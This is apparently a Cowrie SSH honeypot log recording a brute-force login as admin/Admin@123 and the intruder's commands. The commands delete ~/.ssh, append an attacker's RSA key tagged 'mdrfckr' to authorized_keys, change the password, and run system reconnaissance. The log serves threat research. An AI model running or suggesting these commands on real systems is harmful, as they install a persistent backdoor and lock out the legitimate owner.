{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:16.663337Z","src_ip":"159.203.92.129","session":"b14e9da38e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:16.669101Z","src_ip":"159.203.92.129","session":"b14e9da38e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":36644,"dst_ip":"10.17.0.5","dst_port":22,"session":"11b01cf5aba1","protocol":"ssh","message":"New connection: 74.91.200.154:36644 (10.17.0.5:22) [session: 11b01cf5aba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:30.546925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:30.551588Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:30.763799Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:31.643247Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:32.103572Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:32.106792Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:32.110182Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:32.325099Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:32.778999Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:32.782224Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:32.998927Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:33.003362Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":36660,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad7fac2bc6f8","protocol":"ssh","message":"New connection: 74.91.200.154:36660 (10.17.0.5:22) [session: ad7fac2bc6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:33.201098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:33.205999Z","src_ip":"74.91.200.154","session":"ad7fac2bc6f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:33.414705Z","src_ip":"74.91.200.154","session":"ad7fac2bc6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:34.282049Z","src_ip":"74.91.200.154","session":"ad7fac2bc6f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:35.497773Z","src_ip":"74.91.200.154","session":"ad7fac2bc6f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":36666,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cb41603f61f","protocol":"ssh","message":"New connection: 74.91.200.154:36666 (10.17.0.5:22) [session: 1cb41603f61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:35.702848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:35.710910Z","src_ip":"74.91.200.154","session":"1cb41603f61f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:35.927543Z","src_ip":"74.91.200.154","session":"1cb41603f61f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:36.821137Z","src_ip":"74.91.200.154","session":"1cb41603f61f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:38.045672Z","src_ip":"74.91.200.154","session":"1cb41603f61f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:38.317451Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:38.320896Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:38.544702Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:39.021250Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin@123\\nY6p5J4IE86h9\\nY6p5J4IE86h9\"|passwd|bash","message":"CMD: echo -e \"Admin@123\\nY6p5J4IE86h9\\nY6p5J4IE86h9\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:39.024585Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:39.028769Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:39.032205Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7891cd948ed704dba8fb11d8361a68ee59fb1fe895322d2d8758eb2080a42917","size":32,"shasum":"7891cd948ed704dba8fb11d8361a68ee59fb1fe895322d2d8758eb2080a42917","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7891cd948ed704dba8fb11d8361a68ee59fb1fe895322d2d8758eb2080a42917 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:39.260596Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:39.740021Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin@123\\nY6p5J4IE86h9\\nY6p5J4IE86h9\\n\"|passwd","message":"CMD: echo \"Admin@123\\nY6p5J4IE86h9\\nY6p5J4IE86h9\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:39.743139Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/84d8e84b4e56dd4a9d1a3272daa45b095df52dc3190f4ad59aa3e72c1d3a9e18","size":25,"shasum":"84d8e84b4e56dd4a9d1a3272daa45b095df52dc3190f4ad59aa3e72c1d3a9e18","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/84d8e84b4e56dd4a9d1a3272daa45b095df52dc3190f4ad59aa3e72c1d3a9e18 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:39.961839Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:40.478677Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:40.481089Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:40.701222Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:41.238602Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:41.241653Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:41.463214Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:41.930152Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:41.932475Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:41.935333Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:42.165367Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:42.636091Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:42.638885Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:42.862279Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:43.340384Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:43.343321Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:43.572607Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:44.046983Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:44.050222Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
